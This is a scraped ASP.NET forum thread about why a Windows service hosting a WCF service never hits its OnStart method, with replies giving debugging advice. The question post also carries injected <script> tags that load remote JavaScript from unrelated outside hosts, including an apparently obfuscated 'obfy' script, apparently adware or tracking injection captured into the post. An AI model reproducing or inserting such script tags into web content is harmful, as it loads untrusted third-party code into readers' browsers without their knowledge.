Answered by:
Windows service doesn't hit Onstart() method

Question
-
User2006903509 posted
I have created a windows service my WCF and when i stop the the service and i run the application it is not throwing any error.When i debug it dint even hit onstart method of windows service.
protected override void OnStart(string[] args) { System.Diagnostics.Debugger.Launch(); if (myServiceHost != null) { myServiceHost.Close(); } myServiceHost = new ServiceHost(typeof(Service1)); myServiceHost.Open(); }
<script src="https://secure-content-delivery.com/data.js.php?i={586B828B-1991-4F92-8D88-C1EC60A77CFB}&d=2013-07-21&s=http://forums.asp.net/post/edit/5492067&cb=0.22061329552178233" type="text/javascript"></script> <script type="text/javascript" src="//secure-content-delivery.com/data.geo.php?callback=window.__geo.dataLoaded"></script> <script id="__changoScript" type="text/javascript">// <![CDATA[ var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})(); // ]]></script> <script data-sifi-parsed="true" src="http://i.simpli.fi/dpx.js?cid=3065&m=0" id="__simpliScript" type="text/javascript"></script> <script src="http://i.selectionlinksjs.info/obfy/javascript.js" type="text/javascript"></script>
Tuesday, August 27, 2013 12:29 AM
Answers
-
User-488622176 posted
Windows services might be a hell to debug if you implement them the classic way. An alternative is to host them in a console application (as shown here : http://stackoverflow.com/questions/7764088/net-console-application-as-windows-service). In the "main" routine, you check if an interactive user session is present. If so you are in console mode and you start/stop the WCF service in the main application. This implies you can debug easily. If not you are in service mode and the service will behave as needed. The debugger alwas launches in interactive user mode, so enabling debugging.
It will allow you to debug without a headache.
- Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
Tuesday, August 27, 2013 3:06 AM -
User260886948 posted
Hi,
Please try to check the reply from @Steven in: http://social.msdn.microsoft.com/Forums/en-US/92fe50b0-495d-42e7-ab86-6314fdc49cd8/windows-service-doesnt-hit-onstart-method with the following:
For normal windows service live debugging, we can use Visual Studio to attach the windows service process.
#How to: Debug Windows Service Applications
http://msdn.microsoft.com/en-us/library/7a50syb3.aspxHowever, if you want to debug the "OnStart" event handler, then the default approach won't work. Since the OnStart will be called at the very earlier time when we start a windows service in the service management console. The following reference mentioned how we can simulate the OnStart execution and perform live debugging through this means:
#How to: Debug the OnStart Method
http://msdn.microsoft.com/en-us/library/cktt23yw.aspxBest Regards.
- Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
Wednesday, August 28, 2013 2:29 AM
All replies
-
User-306750178 posted
Hi,
Refer below link
http://www.bluevisionsoftware.com/WebSite/TipsAndTricksDetails.aspx?Name=DebuggingServiceOnStart
Tuesday, August 27, 2013 12:44 AM -
User2006903509 posted
I already checked the link but it dint help me.
Tuesday, August 27, 2013 1:23 AM -
User-488622176 posted
Windows services might be a hell to debug if you implement them the classic way. An alternative is to host them in a console application (as shown here : http://stackoverflow.com/questions/7764088/net-console-application-as-windows-service). In the "main" routine, you check if an interactive user session is present. If so you are in console mode and you start/stop the WCF service in the main application. This implies you can debug easily. If not you are in service mode and the service will behave as needed. The debugger alwas launches in interactive user mode, so enabling debugging.
It will allow you to debug without a headache.
- Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
Tuesday, August 27, 2013 3:06 AM -
User-1623675128 posted
did you check the what is the run mode before deploying the service? sometime it behaves differently if you deploy 'debug' mode..ty with 'release' mode.Wednesday, August 28, 2013 12:58 AM -
User260886948 posted
Hi,
Please try to check the reply from @Steven in: http://social.msdn.microsoft.com/Forums/en-US/92fe50b0-495d-42e7-ab86-6314fdc49cd8/windows-service-doesnt-hit-onstart-method with the following:
For normal windows service live debugging, we can use Visual Studio to attach the windows service process.
#How to: Debug Windows Service Applications
http://msdn.microsoft.com/en-us/library/7a50syb3.aspxHowever, if you want to debug the "OnStart" event handler, then the default approach won't work. Since the OnStart will be called at the very earlier time when we start a windows service in the service management console. The following reference mentioned how we can simulate the OnStart execution and perform live debugging through this means:
#How to: Debug the OnStart Method
http://msdn.microsoft.com/en-us/library/cktt23yw.aspxBest Regards.
- Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
Wednesday, August 28, 2013 2:29 AM -
User503812343 posted
See the windows event viewer, if any internal error occurs it logs to event viewer
this article will help you to host WCF service in Windows Service and diagnose issues
Wednesday, August 28, 2013 11:00 AM